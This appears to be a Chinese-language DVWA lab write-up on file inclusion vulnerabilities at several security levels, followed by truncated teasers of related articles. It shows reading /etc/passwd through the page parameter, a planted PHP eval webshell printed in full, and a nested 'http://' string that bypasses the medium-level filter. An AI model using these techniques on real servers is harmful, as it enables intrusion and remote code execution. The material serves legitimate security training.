檔案包含是正常現象，主配置檔案有基礎的一些配置，nginx虛擬機器，include需要包含進來
檔案包含漏洞：file inclusion，檔案包含（漏洞） 危害
注意：檔案包含本身是沒有問題的，問題出在如果在執行檔案包含動作時沒有對檔案內容進行審核造成漏洞利用。
（1）低安全級別
1)本地檔案包含
進行利用
1.例如page=/etc/passswd 來訪問敏感資訊
2.- 使用一句話木馬測試
漏洞利用成功
2)遠端檔案包含
需要開啟了php配置中的allow_url_fopen選項（選項開啟之後，伺服器允許包含乙個遠端的檔案）
1.建立木馬檔案，啟動apache服務
2.可以遠端訪問此檔案
3.漏洞利用
4.結果，產生test1.php檔案
root@owaspbwa:~# ls /var/www/dvwa/vulnerabilities/fi/
help include.php index.php shell20.php source test1.php
root@owaspbwa:~# cat /var/www/dvwa/vulnerabilities/fi/test1.php
<?php eval($_post[tong1]);?>root@owaspbwa:~#
root@owaspbwa:~#
1.原始碼：
對page變數進行了限制，如果有http://,https://字元替換為空，一定程度上限制了遠端檔案包含，但是本地檔案包含未作任何限制（同低安全級別一樣）
2.漏洞利用
本地利用同低級別操作一樣
遠端包含檔案利用
正常輸入不能執行產生php檔案
但是可以http://進行變換寫，例如htthttp://p://，執行後能產生php檔案
（3）高安全級別
1.原始碼（能夠被包含檔案直接被寫死，只能是include.php）
DVWA（九） 檔案包含漏洞
由於開發人員編寫原始碼，將可重複使用的 插入到單個的檔案中，並在需要的時候將它們包含在特殊的功能 檔案中，然後包含檔案中的 會被解釋執行。由於並沒有針對 中存在檔案包含的函式入口做過濾，導致客戶端可以提交惡意構造語句提交，並交由伺服器端解釋執行。檔案包含攻擊中web伺服器原始碼裡可能存在inlcud...
DVWA 之 檔案包含漏洞 全等級
一 漏洞概述 file inclusion 檔案包含漏洞 是指服務端將包含的檔案設定為變數，利用url動態呼叫。若沒有對包含檔案進行有效的過濾，就會導致惡意檔案或 被呼叫執行，造成檔案包含漏洞。php檔案包含的四個函式 include 包含檔案錯誤時返回一條警告，繼續向下執行。常用於動態包含。req...
DVWA系列之15 檔案包含漏洞利用
明白了檔案包含的原理之後，下面我們進入dvwa，選擇low級別的檔案包含。在頁面中有提示，可以編輯url中的page引數從而包含指定的檔案，預設情況下包含的是include.php檔案。讀取敏感檔案是檔案包含漏洞的主要利用方式之一，比如伺服器採用linux系統，而使用者又具有相應的許可權，那麼就可以...